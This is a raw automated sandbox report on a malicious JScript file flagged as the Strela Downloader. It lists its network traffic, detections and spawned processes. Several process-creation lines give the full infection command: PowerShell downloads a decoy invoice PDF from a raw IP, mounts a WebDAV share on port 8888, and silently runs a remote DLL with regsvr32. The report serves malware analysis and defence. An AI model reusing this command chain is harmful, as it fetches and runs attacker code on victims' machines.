Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 60864

Source: global traffic

TCP traffic: 192.168.2.6:60864 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.6:62600 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:60852 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2163813270.0000020617B7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2231202876.000001DF171C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2227389562.000001DF1721D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2229830813.000001DF17201000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2232797552.000001DF1721F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2231380288.000001DF17201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.2229830813.000001DF17201000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2231380288.000001DF17201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/$
Source: net.exe, 00000007.00000002.2231202876.000001DF171C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/-p
Source: net.exe, 00000007.00000002.2231202876.000001DF171C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Num
Source: svchost.exe, 00000009.00000002.3457240845.0000022CE9684000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2230781146.0000022CE94B0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5236, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 5405100231672716142.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@5/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3976:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1sfkxpod.h1a.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5405100231672716142.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1684,i,4790951578485527133,4203297419372646476,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135652933629030.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1684,i,4790951578485527133,4203297419372646476,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
